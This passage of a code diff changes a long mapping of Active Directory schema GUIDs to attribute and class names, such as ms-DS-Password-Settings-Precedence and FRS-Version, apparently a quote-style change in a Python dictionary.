'93095ed3-6f30-4bdd-b734-65d569f5f7c9': 'msSFU-30-Domains', - 'fa06d1f4-7922-4aad-b79c-b2201f54417c': 'ms-DS-Token-Group-Names-Global-And-Universal', - '9a7ad947-ca53-11d1-bbd0-0080c76670c0': 'Extended-Attribute-Info', - '8ab15858-683e-466d-877f-d640e1f9a611': 'ms-DS-Last-Known-RDN', - 'f29fa736-de09-4be4-b23a-e734c124bacc': 'ms-WMI-intFlags3', - 'ba305f73-47e3-11d0-a1a6-00c04fd930c9': 'Print-Stapling-Supported', - '084a944b-e150-4bfe-9345-40e1aedaebba': 'msSFU-30-Yp-Servers', - 'bf967a84-0de6-11d0-a285-00aa003049e2': 'Class-Store', - '19195a5d-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Site-Settings', - '523fc6c8-9af4-4a02-9cd7-3dea129eeb27': 'ms-DS-Token-Group-Names-No-GC-Acceptable', - 'bf967966-0de6-11d0-a285-00aa003049e2': 'Extended-Chars-Allowed', - 'c523e9c0-33b5-4ac8-8923-b57b927f42f6': 'ms-DS-KeyVersionNumber', - 'bd74a7ac-c493-4c9c-bdfa-5c7b119ca6b2': 'ms-WMI-intFlags4', - '281416c9-1968-11d0-a28f-00aa003049e2': 'Print-Start-Time', - '04ee6aa6-f83b-469a-bf5a-3c00d3634669': 'msSFU-30-Max-Gid-Number', - '9a7ad948-ca53-11d1-bbd0-0080c76670c0': 'Extended-Class-Info', - 'ad7940f8-e43a-4a42-83bc-d688e59ea605': 'ms-DS-Logon-Time-Sync-Interval', - 'fb920c2c-f294-4426-8ac1-d24b42aa2bce': 'ms-WMI-intMax', - 'ba305f6b-47e3-11d0-a1a6-00c04fd930c9': 'Print-Status', - 'ec998437-d944-4a28-8500-217588adfc75': 'msSFU-30-Max-Uid-Number', - 'bf967a85-0de6-11d0-a285-00aa003049e2': 'Com-Connection-Point', - '2a132586-9373-11d1-aebc-0000f80367c1': 'NTFRS-Member', - 'bf967ab0-0de6-11d0-a285-00aa003049e2': 'Security-Principal', - 'bf967972-0de6-11d0-a285-00aa003049e2': 'Extension-Name', - '60234769-4819-4615-a1b2-49d2f119acb5': 'ms-DS-Mastered-By', - '68c2e3ba-9837-4c70-98e0-f0c33695d023': 'ms-WMI-intMin', - '244b296e-5abd-11d0-afd2-00c04fd930c9': 'Printer-Name', - '585c9d5e-f599-4f07-9cf9-4373af4b89d3': 'msSFU-30-NSMAP-Field-Position', - '7ece040f-9327-4cdc-aad3-037adfe62639': 'ms-DS-User-Allowed-NTLM-Network-Authentication', - 'd24e2846-1dd9-4bcf-99d7-a6227cc86da7': 'Extra-Columns', - 'fdd337f5-4999-4fce-b252-8ff9c9b43875': 'ms-DS-Maximum-Password-Age', - '6af565f6-a749-4b72-9634-3c5d47e6b4e0': 'ms-WMI-intValidValues', - 'bf967a01-0de6-11d0-a285-00aa003049e2': 'Prior-Set-Time', - 'c875d82d-2848-4cec-bb50-3c5486d09d57': 'msSFU-30-Posix-Member', - 'bf967a86-0de6-11d0-a285-00aa003049e2': 'Computer', - '5245803a-ca6a-11d0-afff-0000f80367c1': 'NTFRS-Replica-Set', - '278947b9-5222-435e-96b7-1503858c2b48': 'ms-DS-Service-Allowed-NTLM-Network-Authentication', - 'bf967974-0de6-11d0-a285-00aa003049e2': 'Facsimile-Telephone-Number', - '2a74f878-4d9c-49f9-97b3-6767d1cbd9a3': 'ms-DS-Minimum-Password-Age', - 'f4d8085a-8c5b-4785-959b-dc585566e445': 'ms-WMI-int8Default', - 'bf967a02-0de6-11d0-a285-00aa003049e2': 'Prior-Value', - '7bd76b92-3244-438a-ada6-24f5ea34381e': 'msSFU-30-Posix-Member-Of', - 'aacd2170-482a-44c6-b66e-42c2f66a285c': 'ms-DS-Strong-NTLM-Policy', - 'd9e18315-8939-11d1-aebc-0000f80367c1': 'File-Ext-Priority', - 'b21b3439-4c3a-441c-bb5f-08f20e9b315e': 'ms-DS-Minimum-Password-Length', - 'e3d8b547-003d-4946-a32b-dc7cedc96b74': 'ms-WMI-int8Max', - '281416c7-1968-11d0-a28f-00aa003049e2': 'Priority', - '97d2bf65-0466-4852-a25a-ec20f57ee36c': 'msSFU-30-Netgroup-Host-At-Domain', - 'bf967a87-0de6-11d0-a285-00aa003049e2': 'Configuration', - 'f780acc2-56f0-11d1-a9c6-0000f80367c1': 'NTFRS-Settings', - 'bf967976-0de6-11d0-a285-00aa003049e2': 'Flags', - 'f9c9a57c-3941-438d-bebf-0edaf2aca187': 'ms-DS-OIDToGroup-Link', - 'ed1489d1-54cc-4066-b368-a00daa2664f1': 'ms-WMI-int8Min', - 'bf967a03-0de6-11d0-a285-00aa003049e2': 'Private-Key', - 'a9e84eed-e630-4b67-b4b3-cad2a82d345e': 'msSFU-30-Netgroup-User-At-Domain', - 'ab6a1156-4dc7-40f5-9180-8e4ce42fe5cd': 'ms-DS-AuthN-Policy', - 'b7b13117-b82e-11d0-afee-0000f80367c1': 'Flat-Name', - '1a3d0d20-5844-4199-ad25-0f5039a76ada': 'ms-DS-OIDToGroup-Link-BL', - '103519a9-c002-441b-981a-b0b3e012c803': 'ms-WMI-int8ValidValues', - '19405b9a-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Attributes', - '0dea42f5-278d-4157-b4a7-49b59664915b': 'msSFU-30-Is-Valid-Container', - '5cb41ecf-0e4c-11d0-a286-00aa003049e2': 'Connection-Point', - '2a132588-9373-11d1-aebc-0000f80367c1': 'NTFRS-Subscriber', - 'b002f407-1340-41eb-bca0-bd7d938e25a9': 'ms-DS-Source-Anchor', - 'bf967977-0de6-11d0-a285-00aa003049e2': 'Force-Logoff', - 'fed81bb7-768c-4c2f-9641-2245de34794d': 'ms-DS-Password-History-Length', - '6736809f-2064-443e-a145-81262b1f1366': 'ms-WMI-Mof', - '19405b98-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Display-Name', - '4503d2a3-3d70-41b8-b077-dff123c15865': 'msSFU-30-Crypt-Method', - '5cb41ed0-0e4c-11d0-a286-00aa003049e2': 'Contact', - '34f6bdf5-2e79-4c3b-8e14-3d93b75aab89': 'ms-DS-Object-SOA', - '3e97891e-8c01-11d0-afda-00c04fd930c9': 'Foreign-Identifier', - 'db68054b-c9c3-4bf0-b15b-0fb52552a610': 'ms-DS-Password-Complexity-Enabled', - 'c6c8ace5-7e81-42af-ad72-77412c5941c4': 'ms-WMI-Name', - '19405b9b-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Holder', - 'e65c30db-316c-4060-a3a0-387b083f09cd': 'ms-TS-Profile-Path', - 'bf967aa7-0de6-11d0-a285-00aa003049e2': 'Person', - '2a132587-9373-11d1-aebc-0000f80367c1': 'NTFRS-Subscriptions', - '7bfdcb88-4807-11d1-a9c3-0000f80367c1': 'Friendly-Names', - '75ccdd8f-af6c-4487-bb4b-69e4d38a959c': 'ms-DS-Password-Reversible-Encryption-Enabled', - 'eaba628f-eb8e-4fe9-83fc-693be695559b': 'ms-WMI-NormalizedClass', - '19405b99-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Value', - '5d3510f0-c4e7-4122-b91f-a20add90e246': 'ms-TS-Home-Directory', - 'bf967ab7-0de6-11d0-a285-00aa003049e2': 'Top', - '9a7ad949-ca53-11d1-bbd0-0080c76670c0': 'From-Entry', - '94f2800c-531f-4aeb-975d-48ac39fd8ca4': 'ms-DS-Local-Effective-Deletion-Time', - '27e81485-b1b0-4a8b-bedd-ce19a837e26e': 'ms-WMI-Parm1', - 'd9e18317-8939-11d1-aebc-0000f80367c1': 'Product-Code', - '5f0a24d9-dffa-4cd9-acbf-a0680c03731e': 'ms-TS-Home-Drive', - 'bf967a8b-0de6-11d0-a285-00aa003049e2': 'Container', - 'bf967aa3-0de6-11d0-a285-00aa003049e2': 'Organization', - 'bf967979-0de6-11d0-a285-00aa003049e2': 'From-Server', - '4ad6016b-b0d2-4c9b-93b6-5964b17b968c': 'ms-DS-Local-Effective-Recycle-Time', - '0003508e-9c42-4a76-a8f4-38bf64bab0de': 'ms-WMI-Parm2', - 'bf967a05-0de6-11d0-a285-00aa003049e2': 'Profile-Path', - '3a0cd464-bc54-40e7-93ae-a646a6ecc4b4': 'ms-TS-Allow-Logon', - 'bf967aa4-0de6-11d0-a285-00aa003049e2': 'Organizational-Person', - 'bf967a90-0de6-11d0-a285-00aa003049e2': 'Sam-Domain', - '2a132578-9373-11d1-aebc-0000f80367c1': 'Frs-Computer-Reference', - 'b05bda89-76af-468a-b892-1be55558ecc8': 'ms-DS-Lockout-Observation-Window', - '45958fb6-52bd-48ce-9f9f-c2712d9f2bfc': 'ms-WMI-Parm3', - 'e1aea402-cd5b-11d0-afff-0000f80367c1': 'Proxied-Object-Name', - '15177226-8642-468b-8c48-03ddfd004982': 'ms-TS-Remote-Control', - '8297931e-86d3-11d0-afda-00c04fd930c9': 'Control-Access-Right', - '2a132579-9373-11d1-aebc-0000f80367c1': 'Frs-Computer-Reference-BL', - '421f889a-472e-4fe4-8eb9-e1d0bc6071b2': 'ms-DS-Lockout-Duration', - '3800d5a3-f1ce-4b82-a59a-1528ea795f59': 'ms-WMI-Parm4', - 'bf967a06-0de6-11d0-a285-00aa003049e2': 'Proxy-Addresses', - '326f7089-53d8-4784-b814-46d8535110d2': 'ms-TS-Max-Disconnection-Time', - 'a8df74bf-c5ea-11d1-bbcb-0080c76670c0': 'Organizational-Role', - '2a13257a-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Data-Creation', - 'b8c8c35e-4a19-4a95-99d0-69fe4446286f': 'ms-DS-Lockout-Threshold', - 'ab920883-e7f8-4d72-b4a0-c0449897509d': 'ms-WMI-PropertyName', - '5fd424d6-1262-11d0-a060-00aa006c33ed': 'Proxy-Generation-Enabled', - '1d960ee2-6464-4e95-a781-e3b5cd5f9588': 'ms-TS-Max-Connection-Time', - 'bf967a8c-0de6-11d0-a285-00aa003049e2': 'Country', - '2a13257b-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Inbound-Backlog', - '64c80f48-cdd2-4881-a86d-4e97b6f561fc': 'ms-DS-PSO-Applies-To', - '65fff93e-35e3-45a3-85ae-876c6718297f': 'ms-WMI-Query', - 'bf967a07-0de6-11d0-a285-00aa003049e2': 'Proxy-Lifetime', - 'ff739e9c-6bb7-460e-b221-e250f3de0f95': 'ms-TS-Max-Idle-Time', - 'bf967aa5-0de6-11d0-a285-00aa003049e2': 'Organizational-Unit', - '2a13257c-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Outbound-Backlog', - '5e6cf031-bda8-43c8-aca4-8fee4127005b': 'ms-DS-PSO-Applied', - '7d3cfa98-c17b-4254-8bd7-4de9b932a345': 'ms-WMI-QueryLanguage', - '80a67e28-9f22-11d0-afdd-00c04fd930c9': 'Public-Key-Policy', - '366ed7ca-3e18-4c7f-abae-351a01e4b4f7': 'ms-TS-Reconnection-Action', - '167758ca-47f3-11d1-a9c3-0000f80367c1': 'CRL-Distribution-Point', - '1be8f171-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Directory-Filter', - 'eadd3dfe-ae0e-4cc2-b9b9-5fe5b6ed2dd2': 'ms-DS-Required-Domain-Behavior-Version', - '87b78d51-405f-4b7f-80ed-2bd28786f48d': 'ms-WMI-ScopeGuid', - 'b4b54e50-943a-11d1-aebd-0000f80367c1': 'Purported-Search', - '1cf41bba-5604-463e-94d6-1a1287b72ca3': 'ms-TS-Broken-Connection-Action', - 'bf967aa6-0de6-11d0-a285-00aa003049e2': 'Package-Registration', - '1be8f177-a9ff-11d0-afe2-00c04fd930c9': 'FRS-DS-Poll', - '4beca2e8-a653-41b2-8fee-721575474bec': 'ms-DS-Required-Forest-Behavior-Version', - '34f7ed6c-615d-418d-aa00-549a7d7be03e': 'ms-WMI-SourceOrganization', - 'bf967a09-0de6-11d0-a285-00aa003049e2': 'Pwd-History-Length', - '23572aaf-29dd-44ea-b0fa-7e8438b9a4a3': 'ms-TS-Connect-Client-Drives', - 'bf967a8d-0de6-11d0-a285-00aa003049e2': 'Cross-Ref', - '52458020-ca6a-11d0-afff-0000f80367c1': 'FRS-Extensions', - 'b77ea093-88d0-4780-9a98-911f8e8b1dca': 'ms-DS-Resultant-PSO', - '152e42b6-37c5-4f55-ab48-1606384a9aea': 'ms-WMI-stringDefault', - 'bf967a0a-0de6-11d0-a285-00aa003049e2': 'Pwd-Last-Set', - '8ce6a937-871b-4c92-b285-d99d4036681c': 'ms-TS-Connect-Printer-Drives', - '1be8f178-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Fault-Condition', - '456374ac-1f0a-4617-93cf-bc55a7c9d341': 'ms-DS-Password-Settings-Precedence', - '37609d31-a2bf-4b58-8f53-2b64e57a076d': 'ms-WMI-stringValidValues', - 'bf967a0b-0de6-11d0-a285-00aa003049e2': 'Pwd-Properties', - 'c0ffe2bd-cacf-4dc7-88d5-61e9e95766f6': 'ms-TS-Default-To-Main-Printer', - 'ef9e60e0-56f7-11d1-a9c6-0000f80367c1': 'Cross-Ref-Container', - 'b7b13122-b82e-11d0-afee-0000f80367c1': 'Physical-Location', - '1be8f170-a9ff-11d0-afe2-00c04fd930c9': 'FRS-File-Filter', - 'd1e169a4-ebe9-49bf-8fcb-8aef3874592d': 'ms-DS-Max-Values', - '95b6d8d6-c9e8-4661-a2bc-6a5cabc04c62': 'ms-WMI-TargetClass', - '80a67e4e-9f22-11d0-afdd-00c04fd930c9': 'Quality-Of-Service', - 'a744f666-3d3c-4cc8-834b-9d4f6f687b8b': 'ms-TS-Work-Directory', - '2a13257d-9373-11d1-aebc-0000f80367c1': 'FRS-Flags', - 'cbf7e6cd-85a4-4314-8939-8bfe80597835': 'ms-DS-Members-For-Az-Role', - '1c4ab61f-3420-44e5-849d-8b5dbf60feb7': 'ms-WMI-TargetNameSpace', - 'cbf70a26-7e78-11d2-9921-0000f87a57d4': 'Query-Filter', - '9201ac6f-1d69-4dfb-802e-d95510109599': 'ms-TS-Initial-Program', - 'bf967a8e-0de6-11d0-a285-00aa003049e2': 'Device', - 'e5209ca2-3bba-11d2-90cc-00c04fd91ab1': 'PKI-Certificate-Template', - '5245801e-ca6a-11d0-afff-0000f80367c1': 'FRS-Level-Limit', - 'ececcd20-a7e0-4688-9ccf-02ece5e287f5': 'ms-DS-Members-For-Az-Role-BL', - 'c44f67a5-7de5-4a1f-92d9-662b57364b77': 'ms-WMI-TargetObject', - 'e1aea404-cd5b-11d0-afff-0000f80367c1': 'Query-Policy-BL', - '40e1c407-4344-40f3-ab43-3625a34a63a2': 'ms-TS-Endpoint-Data', - '2a13257e-9373-11d1-aebc-0000f80367c1': 'FRS-Member-Reference', - '5a2eacd7-cc2b-48cf-9d9a-b6f1a0024de9': 'ms-DS-NC-Type', - '5006a79a-6bfe-4561-9f52-13cf4dd3e560': 'ms-WMI-TargetPath', - 'e1aea403-cd5b-11d0-afff-0000f80367c1': 'Query-Policy-Object', - '377ade80-e2d8-46c5-9bcd-6d9dec93b35e': 'ms-TS-Endpoint-Type', - '8447f9f2-1027-11d0-a05f-00aa006c33ed': 'Dfs-Configuration', - 'ee4aa692-3bba-11d2-90cc-00c04fd91ab1': 'PKI-Enrollment-Service', - '2a13257f-9373-11d1-aebc-0000f80367c1': 'FRS-Member-Reference-BL', - 'cafcb1de-f23c-46b5-adf7-1e64957bd5db': 'ms-DS-Non-Members', - 'ca2a281e-262b-4ff7-b419-bc123352a4e9': 'ms-WMI-TargetType', - '7bfdcb86-4807-11d1-a9c3-0000f80367c1': 'QueryPoint', - '3c08b569-801f-4158-b17b-e363d6ae696a': 'ms-TS-Endpoint-Plugin', + "2a132580-9373-11d1-aebc-0000f80367c1": "FRS-Partner-Auth-Level", + "2a8c68fc-3a7a-4e87-8720-fe77c51cbe74": "ms-DS-Non-Members-BL", + "963d2751-48be-11d1-a9c3-0000f80367c1": "Mscope-Id", + "bf967a0c-0de6-11d0-a285-00aa003049e2": "Range-Lower", + "29259694-09e4-4237-9f72-9306ebe63ab2": "ms-TS-Primary-Desktop", + "963d2756-48be-11d1-a9c3-0000f80367c1": "DHCP-Class", + "1562a632-44b9-4a7e-a2d3-e426c96a3acc": "ms-PKI-Private-Key-Recovery-Agent", + "2a132581-9373-11d1-aebc-0000f80367c1": "FRS-Primary-Member", + "4b1cba4e-302f-4134-ac7c-f01f6c797843": "ms-DS-Phonetic-First-Name", + "7bfdcb7d-4807-11d1-a9c3-0000f80367c1": "Msi-File-List", + "bf967a0d-0de6-11d0-a285-00aa003049e2": "Range-Upper", + "f63aa29a-bb31-48e1-bfab-0a6c5a1d39c2": "ms-TS-Secondary-Desktops", + "5245801a-ca6a-11d0-afff-0000f80367c1": "FRS-Replica-Set-GUID", + "f217e4ec-0836-4b90-88af-2f5d4bbda2bc": "ms-DS-Phonetic-Last-Name", + "d9e18313-8939-11d1-aebc-0000f80367c1": "Msi-Script", + "bf967a0e-0de6-11d0-a285-00aa003049e2": "RDN", + "9daadc18-40d1-4ed1-a2bf-6b9bf47d3daa": "ms-TS-Primary-Desktop-BL", + "e0fa1e8a-9b45-11d0-afdd-00c04fd930c9": "Display-Specifier", + "bf967aa8-0de6-11d0-a285-00aa003049e2": "Print-Queue", + "bf967a8f-0de6-11d0-a285-00aa003049e2": "DMD", + "26d9736b-6070-11d1-a9c6-0000f80367c1": "FRS-Replica-Set-Type", + "6cd53daf-003e-49e7-a702-6fa896e7a6ef": "ms-DS-Phonetic-Department", + "96a7dd62-9118-11d1-aebc-0000f80367c1": "Msi-Script-Name", + "bf967a0f-0de6-11d0-a285-00aa003049e2": "RDN-Att-ID", + "34b107af-a00a-455a-b139-dd1a1b12d8af": "ms-TS-Secondary-Desktop-BL", + "1be8f174-a9ff-11d0-afe2-00c04fd930c9": "FRS-Root-Path", + "5bd5208d-e5f4-46ae-a514-543bc9c47659": "ms-DS-Phonetic-Company-Name", + "bf967937-0de6-11d0-a285-00aa003049e2": "Msi-Script-Path", + "bf967a10-0de6-11d0-a285-00aa003049e2": "Registered-Address", + "faaea977-9655-49d7-853d-f27bb7aaca0f": "MS-TS-Property01", + "5fd4250c-1262-11d0-a060-00aa006c33ed": "Display-Template", + "83cc7075-cca7-11d0-afff-0000f80367c1": "Query-Policy", + "5a8b3261-c38d-11d1-bbc9-0080c76670c0": "SubSchema", + "5245801f-ca6a-11d0-afff-0000f80367c1": "FRS-Root-Security", + "e21a94e4-2d66-4ce5-b30d-0ef87a776ff0": "ms-DS-Phonetic-Display-Name", + "96a7dd63-9118-11d1-aebc-0000f80367c1": "Msi-Script-Size", + "bf967a12-0de6-11d0-a285-00aa003049e2": "Remote-Server-Name", + "3586f6ac-51b7-4978-ab42-f936463198e7": "MS-TS-Property02", + "bf967915-0de6-11d0-a285-00aa003049e2": "Account-Expires", + "ddac0cee-af8f-11d0-afeb-00c04fd930c9": "FRS-Service-Command", + "def449f1-fd3b-4045-98cf-d9658da788b5": "ms-DS-HAB-Seniority-Index", + "9a0dc326-c100-11d1-bbc5-0080c76670c0": "MSMQ-Authenticate", + "bf967a14-0de6-11d0-a285-00aa003049e2": "Remote-Source", + "70004ef5-25c3-446a-97c8-996ae8566776": "MS-TS-ExpireDate", + "bf967aa9-0de6-11d0-a285-00aa003049e2": "Remote-Mail-Recipient", + "bf967a80-0de6-11d0-a285-00aa003049e2": "Attribute-Schema", + "2a132582-9373-11d1-aebc-0000f80367c1": "FRS-Service-Command-Status", + "c881b4e2-43c0-4ebe-b9bb-5250aa9b434c": "ms-DS-Promotion-Settings", + "9a0dc323-c100-11d1-bbc5-0080c76670c0": "MSMQ-Base-Priority", + "bf967a15-0de6-11d0-a285-00aa003049e2": "Remote-Source-Type", + "54dfcf71-bc3f-4f0b-9d5a-4b2476bb8925": "MS-TS-ExpireDate2", + "e0fa1e8b-9b45-11d0-afdd-00c04fd930c9": "Dns-Zone", + "031952ec-3b72-11d2-90cc-00c04fd91ab1": "Account-Name-History", + "1be8f175-a9ff-11d0-afe2-00c04fd930c9": "FRS-Staging-Path", + "98a7f36d-3595-448a-9e6f-6b8965baed9c": "ms-DS-SiteName", + "9a0dc32e-c100-11d1-bbc5-0080c76670c0": "MSMQ-Computer-Type", + "2a39c5b0-8960-11d1-aebc-0000f80367c1": "Remote-Storage-GUID", + "41bc7f04-be72-4930-bd10-1f3439412387": "MS-TS-ExpireDate3", + "2a39c5bd-8960-11d1-aebc-0000f80367c1": "Remote-Storage-Service-Point", + "7f56127d-5301-11d1-a9c5-0000f80367c1": "ACS-Aggregate-Token-Rate-Per-User", + "2a132583-9373-11d1-aebc-0000f80367c1": "FRS-Time-Last-Command", + "20119867-1d04-4ab7-9371-cfc3d5df0afd": "ms-DS-Supported-Encryption-Types", + "18120de8-f4c4-4341-bd95-32eb5bcf7c80": "MSMQ-Computer-Type-Ex", + "281416c0-1968-11d0-a28f-00aa003049e2": "Repl-Property-Meta-Data", + "5e11dc43-204a-4faf-a008-6863621c6f5f": "MS-TS-ExpireDate4", + "39bad96d-c2d6-4baf-88ab-7e4207600117": "document", + "7f561283-5301-11d1-a9c5-0000f80367c1": "ACS-Allocable-RSVP-Bandwidth", + "2a132584-9373-11d1-aebc-0000f80367c1": "FRS-Time-Last-Config-Change", + "29cc866e-49d3-4969-942e-1dbc0925d183": "ms-DS-Trust-Forest-Trust-Info", + "9a0dc33a-c100-11d1-bbc5-0080c76670c0": "MSMQ-Cost", + "7bfdcb83-4807-11d1-a9c3-0000f80367c1": "Repl-Topology-Stay-Of-Execution", + "0ae94a89-372f-4df2-ae8a-c64a2bc47278": "MS-TS-LicenseVersion", + "a8df74d6-c5ea-11d1-bbcb-0080c76670c0": "Residential-Person", + "1cb355a1-56d0-11d1-a9c6-0000f80367c1": "ACS-Cache-Timeout", + "1be8f172-a9ff-11d0-afe2-00c04fd930c9": "FRS-Update-Timeout", + "461744d7-f3b6-45ba-8753-fb9552a5df32": "ms-DS-Tombstone-Quota-Factor", + "9a0dc334-c100-11d1-bbc5-0080c76670c0": "MSMQ-CSP-Name", + "bf967a16-0de6-11d0-a285-00aa003049e2": "Repl-UpToDate-Vector", + "4b0df103-8d97-45d9-ad69-85c3080ba4e7": "MS-TS-LicenseVersion2", + "7a2be07c-302f-4b96-bc90-0795d66885f8": "documentSeries", + "7f56127a-5301-11d1-a9c5-0000f80367c1": "ACS-Direction", + "2a132585-9373-11d1-aebc-0000f80367c1": "FRS-Version", + "7b7cce4f-f1f5-4bb6-b7eb-23504af19e75": "ms-DS-Top-Quota-Usage", + "2df90d83-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Dependent-Client-Service", + "bf967a18-0de6-11d0-a285-00aa003049e2": "Replica-Source", + "f8ba8f81-4cab-4973-a3c8-3a6da62a5e31": "MS-TS-LicenseVersion3", + "19195a5a-6da0-11d0-afd3-00c04fd930c9": "Domain", + "b93e3a78-cbae-485e-a07b-5ef4ae505686": "rFC822LocalPart", + "1cb355a0-56d0-11d1-a9c6-0000f80367c1": "ACS-DSBM-DeadTime", + "26d9736c-6070-11d1-a9c6-0000f80367c1": "FRS-Version-GUID", + "d064fb68-1480-11d3-91c1-0000f87a57d4": "MS-DS-Machine-Account-Quota", + "2df90d76-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Dependent-Client-Services", + "bf967a1c-0de6-11d0-a285-00aa003049e2": "Reports", + "70ca5d97-2304-490a-8a27-52678c8d2095": "MS-TS-LicenseVersion4", + "19195a5b-6da0-11d0-afd3-00c04fd930c9": "Domain-DNS", + "1cb3559e-56d0-11d1-a9c6-0000f80367c1": "ACS-DSBM-Priority", + "1be8f173-a9ff-11d0-afe2-00c04fd930c9": "FRS-Working-Path", + "638ec2e8-22e7-409c-85d2-11b21bee72de": "ms-DS-Object-Reference", + "9a0dc33c-c100-11d1-bbc5-0080c76670c0": "MSMQ-Digests", + "45ba9d1a-56fa-11d2-90d0-00c04fd91ab1": "Repl-Interval", + "f3bcc547-85b0-432c-9ac0-304506bf2c83": "MS-TS-ManagingLS", + "6617188d-8f3c-11d0-afda-00c04fd930c9": "RID-Manager", + "1cb3559f-56d0-11d1-a9c6-0000f80367c1": "ACS-DSBM-Refresh", + "66171887-8f3c-11d0-afda-00c04fd930c9": "FSMO-Role-Owner", + "2b702515-c1f7-4b3b-b148-c0e4c6ceecb4": "ms-DS-Object-Reference-BL", + "0f71d8e0-da3b-11d1-90a5-00c04fd91ab1": "MSMQ-Digests-Mig", + "bf967a1d-0de6-11d0-a285-00aa003049e2": "Reps-From", + "349f0757-51bd-4fc8-9d66-3eceea8a25be": "MS-TS-ManagingLS2", + "bf967a99-0de6-11d0-a285-00aa003049e2": "Domain-Policy", + "7f561287-5301-11d1-a9c5-0000f80367c1": "ACS-Enable-ACS-Service", + "5fd424a1-1262-11d0-a060-00aa006c33ed": "Garbage-Coll-Period", + "93f701be-fa4c-43b6-bc2f-4dbea718ffab": "ms-DS-Operations-For-Az-Role", + "2df90d82-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Ds-Service", + "bf967a1e-0de6-11d0-a285-00aa003049e2": "Reps-To", + "fad5dcc1-2130-4c87-a118-75322cd67050": "MS-TS-ManagingLS3", + "7bfdcb89-4807-11d1-a9c3-0000f80367c1": "RID-Set", + "f072230e-aef5-11d1-bdcf-0000f80367c1": "ACS-Enable-RSVP-Accounting", + "bf96797a-0de6-11d0-a285-00aa003049e2": "Generated-Connection", + "f85b6228-3734-4525-b6b7-3f3bb220902c": "ms-DS-Operations-For-Az-Role-BL", + "2df90d78-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Ds-Services", + "7d6c0e93-7e20-11d0-afd6-00c04fd930c9": "Required-Categories", + "f7a3b6a0-2107-4140-b306-75cb521731e5": "MS-TS-ManagingLS4", + "8bfd2d3d-efda-4549-852c-f85e137aedc6": "domainRelatedObject", + "7f561285-5301-11d1-a9c5-0000f80367c1": "ACS-Enable-RSVP-Message-Logging", + "16775804-47f3-11d1-a9c3-0000f80367c1": "Generation-Qualifier", + "1aacb436-2e9d-44a9-9298-ce4debeb6ebf": "ms-DS-Operations-For-Az-Task", + "9a0dc331-c100-11d1-bbc5-0080c76670c0": "MSMQ-Encrypt-Key", + "7bfdcb7f-4807-11d1-a9c3-0000f80367c1": "Retired-Repl-DSA-Signatures", + "87e53590-971d-4a52-955b-4794d15a84ae": "MS-TSLS-Property01", + "7860e5d2-c8b0-4cbb-bd45-d9455beb9206": "room", + "eded5844-b3c3-41c3-a9e6-8984b52b7f98": "ms-Org-Group-Subtype-Name", + "7f561286-5301-11d1-a9c5-0000f80367c1": "ACS-Event-Log-Level", + "f0f8ff8e-1191-11d0-a060-00aa006c33ed": "Given-Name", + "a637d211-5739-4ed1-89b2-88974548bc59": "ms-DS-Operations-For-Az-Task-BL", + "9a0dc32f-c100-11d1-bbc5-0080c76670c0": "MSMQ-Foreign", + "b7c69e6d-2cc7-11d2-854e-00a0c983f608": "Token-Groups", + "47c77bb0-316e-4e2f-97f1-0d4c48fca9dd": "MS-TSLS-Property02", + "09b10f14-6f93-11d2-9905-0000f87a57d4": "DS-UI-Settings", + "49b7560b-4707-4aa0-a27c-e17a09ca3f97": "ms-Org-Is-Organizational-Group", + "dab029b6-ddf7-11d1-90a5-00c04fd91ab1": "ACS-Identity-Name", + "f754c748-06f4-11d2-aa53-00c04fd7d83a": "Global-Address-List", + "79d2f34c-9d7d-42bb-838f-866b3e4400e2": "ms-DS-Other-Settings", + "9a0dc32c-c100-11d1-bbc5-0080c76670c0": "MSMQ-In-Routing-Servers", + "46a9b11d-60ae-405a-b7e8-ff8a58d456d2": "Token-Groups-Global-And-Universal", + "6a84ede5-741e-43fd-9dd6-aa0f61578621": "ms-DFSR-DisablePacketPrivacy", + "80212842-4bdc-11d1-a9c4-0000f80367c1": "Rpc-Container", + "8f905f24-a413-435a-8ed1-35385ec179f7": "ms-Org-Other-Display-Names", + "f072230c-aef5-11d1-bdcf-0000f80367c1": "ACS-Max-Aggregate-Peak-Rate-Per-User", + "bf96797d-0de6-11d0-a285-00aa003049e2": "Governs-ID", + "564e9325-d057-c143-9e3b-4f9e5ef46f93": "ms-DS-Principal-Name", + "8ea825aa-3b7b-11d2-90cc-00c04fd91ab1": "MSMQ-Interval1", + "040fc392-33df-11d2-98b2-0000f87a57d4": "Token-Groups-No-GC-Acceptable", + "87811bd5-cd8b-45cb-9f5d-980f3a9e0c97": "ms-DFSR-DefaultCompressionExclusionFilter", + "3fdfee52-47f4-11d1-a9c3-0000f80367c1": "DSA", + "ee5b6790-3358-41a8-93f2-134ce21f3813": "ms-Org-Leaders", + "7f56127e-5301-11d1-a9c5-0000f80367c1": "ACS-Max-Duration-Per-Flow", + "f30e3bbe-9ff0-11d1-b603-0000f80367c1": "GP-Link", + "fbb9a00d-3a8c-4233-9cf9-7189264903a1": "ms-DS-Quota-Amount", + "99b88f52-3b7b-11d2-90cc-00c04fd91ab1": "MSMQ-Interval2", + "bf967a21-0de6-11d0-a285-00aa003049e2": "Revision", + "a68359dc-a581-4ee6-9015-5382c60f0fb4": "ms-DFSR-OnDemandExclusionFileFilter", + "bf967aac-0de6-11d0-a285-00aa003049e2": "rpc-Entry", + "afa58eed-a698-417e-9f56-fad54252c5f4": "ms-Org-Leaders-BL", + "f0722310-aef5-11d1-bdcf-0000f80367c1": "ACS-Max-No-Of-Account-Files", + "f30e3bbf-9ff0-11d1-b603-0000f80367c1": "GP-Options", + "6655b152-101c-48b4-b347-e1fcebc60157": "ms-DS-Quota-Effective", + "9a0dc321-c100-11d1-bbc5-0080c76670c0": "MSMQ-Journal", + "bf967a22-0de6-11d0-a285-00aa003049e2": "Rid", + "7d523aff-9012-49b2-9925-f922a0018656": "ms-DFSR-OnDemandExclusionDirectoryFilter", + 